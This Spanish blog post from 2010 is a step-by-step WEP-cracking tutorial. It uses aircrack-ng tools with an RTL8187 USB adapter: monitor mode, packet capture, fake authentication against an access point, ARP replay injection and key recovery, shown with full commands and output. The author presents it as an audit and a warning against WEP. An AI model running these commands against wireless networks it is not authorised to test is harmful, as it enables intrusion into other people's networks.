25 enero 2010

Auditoría Wireless con Wisacom WS-HP 800

hackingkeysAprovechando que hace poco recibí un regalito de reyes, he decidido realizar una prueba de concepto para hacer una auditoría de red inalámbrica. El tipo de seguridad escogida ha sido WEP, que aunque ya no esté de moda porque casi todos sabemos romperla, sigue sorprendiendo lo fácil que es. Espero que este artículo sirva además de para conocer la simplicidad de uno de los procedimientos de ruptura de claves WEP, para aconsejar a aquellos inconscientes que todavía sigan utilizando este tipo de "seguridad" que dejen de hacerlo desde hoy.

wsacomEl adaptador utilizado para la auditoría es un Wisacom WS-HP 800 y el chipset incorporado es RTL8187L. Nuestro sistema operativo es Ubuntu 9.10 y las claves a romper son de tipo WEP.

En la siguiente imagen podemos ver la imagen del adaptador Wi-Fi USB que utilizo:

Antes de comenzar con la auditoría debemos hacer unas comprobaciones:

Comprobaciones previas

Controlador del adaptador Wi-Fi

Primero de todo tenemos que comprobar si el adaptador es reconocida por nuestro sistema. Al ser de tipo USB lo comprobamos así:

marc@ubuntu:~$ lsusb grep Realtek
Bus 002 Device 007: ID 0bda:8187 Realtek Semiconductor Corp. RTL8187 Wireless Adapter

En mi caso, no he tenido problemas, me la reconoce, si esto no fuera así tendríamos que buscar drivers o utilizar ndiswrapper

Listado de Interfaces

Normalmente siempre tenemos 2 interfaces de red,

  1. lo: Interfaz de loopback

  2. eth0: Interfaz de de red LAN

Para ver una lista de las interfaces que soportan escaneo de redes Wireless lo hacemos así:

marc@ubuntu:~$ iwlist scan
lo Interface doesn’t support scanning.
eth0 Interface doesn’t support scanning.
wmaster0 Interface doesn’t support scanning.
wlan0 Scan completed :
Cell 01 – Address: 00:19:15:AA:0C:E2
Channel:11
Frequency:2.462 GHz (Channel 11)
Quality=40/70 Signal level=-70 dBm
Encryption key:on
ESSID:”MI RED”
Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 18 Mb/s
24 Mb/s; 36 Mb/s; 54 Mb/s
Bit Rates:6 Mb/s; 9 Mb/s; 12 Mb/s; 48 Mb/s
Mode:Master
Extra:tsf=00000041824689e9
Extra: Last beacon: 3597628ms ago
IE: Unknown: 000554656C6532
IE: Unknown: 010882848B962430486C
IE: Unknown: 03010B
IE: Unknown: 2A0104
IE: Unknown: 2F0104
IE: Unknown: 32040C121860
IE: Unknown: DD090010180200F4000000
IE: WPA Version 1
Group Cipher : TKIP
Pairwise Ciphers (1) : TKIP
Authentication Suites (1) : PSK
pan0 Interface doesn’t support scanning.
wmaster1 Interface doesn’t support scanning.
wlan1 Failed to read scan data : Network is down

Como veis, tengo más de una interfaz de red:

  1. lo: Interfaz de loopback

  2. eth0: Interfaz de de red LAN

  3. wlan0:Otra Interfaz Wireless que lleva mi equip integrada, pero que no soporta inyección

  4. pan0: Interfaz de la conexión Bluetooth

  5. wlan1: Interfaz del Wisacom WS HP-800

Ahora que ya tenemos la lista de las interfaces, podemos observar en ella que la interfaz wlan1 no está activa. Debemos activarla mediante el comando:

marc@ubuntu:~$ sudo ifconfig wlan1 up

Ahora que ya tenemos la interfaz reconocida y levantada podemos comenzar con la auditoría.

Auditando Wireless

Entrando en modo Monitor

Antes de nada hemos de activar el modo monitor, que sirve para poder capturar todos los paquetes que circulan por la red, en este caso por el aire.

Para activar el modo monitor hacemos:

marc@ubuntu:~$ sudo airmon-ng start wlan1
Found 3 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!
PID Name
1010 avahi-daemon
1011 avahi-daemon
2072 wpa_supplicant
Process with PID 2072 (wpa_supplicant) is running on interface wlan0
Interface Chipset Driver
wlan0 Ralink 2561 PCI rt61pci – [phy0]
wlan1 RTL8187 rtl8187 – [phy2]
(monitor mode enabled on mon0)
mon1 RTL8187 rtl8187 – [phy2]

Ahora ya tenemos el modo monitor activado y como podéis comprobar nos ha creado otra interfaz llamada mon0 (En el caso de este adaptador).

Búsqueda del objetivo a auditar

Podemos comenzar a capturar paquetes y a enumerar las redes cercanas y sus clientes, para lo que utilizaremos este comando:

airodump-ng start mon0

En mi caso es mon0, pero si al ejecutar el comando airmon-ng obtuviéramos otro nombre, pues sería el que deberemos utilizar.

CH 10 ][ Elapsed: 2 mins ][ 2009-12-23 18:02

BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

00:19:15:AA:0C:E2 -50 328 1536 0 11 54 WPA TKIP PSK RED1
00:21:63:EF:C5:D0 -57 269 0 0 11 54e WPA TKIP PSK RED2
00:22:2D:44:E3:E1 -66 251 30 0 3 54e. WEP WEP RED3
00:1A:2B:4A:5E:79 -74 45 0 0 11 54 WEP WEP RED4
00:03:6F:49:11:04 -74 2 0 0 11 54 WPA TKIP PSK RED5
00:1A:2B:08:27:65 -1 0 0 0 158 -1
00:1B:11:23:C2:9E -73 12 0 0 6 54 . WEP WEP RED6
00:22:15:00:21:FD -77 1 0 0 1 54 WEP WEP RED7
00:22:93:C0:C0:E0 -73 8 0 0 1 54 WPA TKIP PSK RED8

BSSID STATION PWR Rate Lost Packets Probes

00:19:15:AA:0C:E2 00:1C:BF:B5:51:90 -33 54 -48 0 1633 linksys,CLINEAP,Belkin_G_Plus_MIMO_ADSL,FP_STN_N,FP_STN_A,F2_TOP_F
00:19:15:AA:0C:E2 00:1A:70:B1:77:97 -22 24 -36 0 5
00:22:15:00:21:FD 00:22:43:2C:DE:B1 -74 0 - 1 0 9 RED9

Aquí veis las redes inalámbricas que me aparecen. Solo nos interesan las del tipo WEP.

Una vez hemos encontrada la red que red queremos auditar, paramos el comando anterior con las teclas control +z y escribiremos otro comando:

marc@ubuntu:~$ sudo airodump-ng --channel 3 --bssid 00:22:2D:44:E3:E1 --write REDESCOGIDA mon0

Cuando ejecutas airodump-ng guardas los paquetes de datos (DATA), que son los que utilizaremos para crackear la contraseña de la red. Para que no se cree un fichero demasiado grande sólo guardaremos los datos de la red que nos interesa. SI os fijáis no recogemos muchos paquetes tipo Data y eso es, porque no nos hemos asociado al router.

Autenticación contra el AP

Para conseguir mas datos tendremos que hacer creer al router que somos un cliente mas. Esto se hace mediante el siguiente comando:

marc@ubuntu:~/Escritorio$ sudo aireplay-ng -1 30 -o 1 -e REDESCOGIDA -a 00:22:2D:44:E3:E1 -h 00:1A:EF:77:88:65 mon0

Con este comando nos haremos pasar por un cliente. El parámetro -a es la MAC de la Víctima y el -h la mac de nuestra tarjeta, el -e es el nombre de la red. Cuando ejecutemos el comando nos debería salir algo así.

17:08:35 Waiting for beacon frame (BSSID: 00:22:2D:44:E3:E1) on channel 3
17:08:35 Sending Authentication Request (Open System) [ACK]
17:08:35 Authentication successful
17:08:35 Sending Association Request [ACK]
17:08:35 Association successful :-) (AID: 1)

De modo que ya estamos autenticados y asociados como cliente.

Ahora tenemos un problema; aunque estemos asociados como cliente (falso cliente), si no se genera gran cantidad de tráfico no podremos conseguir mas paquetes de datos para poder crakear la contraseña. Así que, si no hay mucho tráfico lo trataremos de generar nosotros.

Inyectando Paquetes

La inyección de tráfico de red, solo tiene sentido, si nuestra acción lleva asociada una reacción. Se trata de elegir algún tipo de paquete que obligue al punto de acceso o a cualquiera de los equipos conectados a él a responder con otros paquetes nuevos cifrados de forma correcta. Para ello, lo más habitual es elegir un paquete de tipo ARP, ya que conocemos su estructura y obliga (si está bien construido) al punto de acceso a responder su solicitud. Por cada paquete enviado, al menos recibiremos uno nuevo contestado, por lo que al enviar masivamente miles de paquetes, se responderá con otros miles más y obtendremos tráfico suficiente para la obtención de la clave.

Para obtener un paquete correcto y posteriormente reinyectarlo miles de veces lo haremos así:

root@ubuntu:/home/marc# aireplay-ng -3 -b 00:22:2D:44:E3:E1 -h 00:1A:EF:77:88:65 mon0

Mediante este comando inyectamos paquetes en la red para que suban los data. Si hemos anteriormente conseguido autenticarnos de manera exitosa al punto de acceso como cliente, podremos ver como los paquetes data suben rápidamente.

17:06:38 Waiting for beacon frame (BSSID: 00:22:2D:44:E3:E1) on channel 3
Saving ARP requests in replay_arp-1223-170638.cap
You should also start airodump-ng to capture replies.
Read 2229 packets (got 87 ARP requests and 107 ACKs), sent 102 packets…(499 ppRead 2368 packets (got 127 ARP requests and 155 ACKs), sent 152 packets…(499 pRead 2513 packets (got 172 ARP requests and 204 ACKs), sent 202 packets…(499 pRead 2653 packets (got 214 ARP requests and 252 ACKs), sent 253 packets…(501 pRead 2800 packets (got 260 ARP requests and 303 ACKs), sent 302 packets…(499 pRead 2938 packets (got 309 ARP requests and 350 ACKs), sent 352 packets…(499 pRead 3081 packets (got 359 ARP requests and 402 ACKs), sent 402 packets…(499 p
Read 426419 packets (got 265265 ARP requests and 147624 ACKs), sent 148347 packets…(500 pps)

Ya podemos decir prácticamente que el trabajo está hecho... Cuando hayamos conseguido mas o menos 15000 data podremos ejecutar el comando aircrack-ng (éste se ejecutará múltiples veces hasta que el número de paquetes sea suficiente para romper la clave):

root@ubuntu:/home/marc# aircrack-ng REDESCOGIDA.cap

El comando procesa así:

Aircrack-ng 1.0
[00:00:00] Tested 813 keys (got 126018 IVs)
KB depth byte(vote)
0 1/ 2 37(140032) 90(139264) B8(139264) 12(137216) AD(136448) 16(136192) A1(135936) 52(135680) 7C(135680) 7B(135424) DE(135424) F1(135424)
1 6/ 1 EA(136960) 9F(136192) E9(136192) 00(135936) B1(135936) B6(135680) E8(135424) 42(134912) B3(134400) 9D(134144) 04(133888) 0A(133632)
2 3/ 13 CF(139520) A9(138240) 2D(137984) 93(137984) A4(136960) 85(136704) E1(136704) 6F(136192) 01(135680) 16(135680) 0D(134912) B4(134912)
3 0/ 1 F4(174336) 29(139520) 06(138752) 48(138752) BD(138496) 5B(137984) E0(137728) 80(136960) 5E(136704) C6(136192) 3A(135680) 20(135168)
4 17/ 4 14(134144) E9(133888) 00(133376) 0C(133376) A8(133376) EB(133376) 99(133120) 17(132608) 5B(132608) A7(132608) F6(132608) 29(132352)
KEY FOUND! [ 33:43:39:45:34:35:34:38:46:42:42:36:32 ] (ASCII: 3C9E4548FBB62 )
Decrypted correctly: 100%

Y YA TENEMOS EL PASSWORD, jeje.

Como habeis podido ver, mediante una simple serie de comandos se puede conocer rápidamente el password de una red de tipo WEP. El próximo paso, WPA.

No hay comentarios: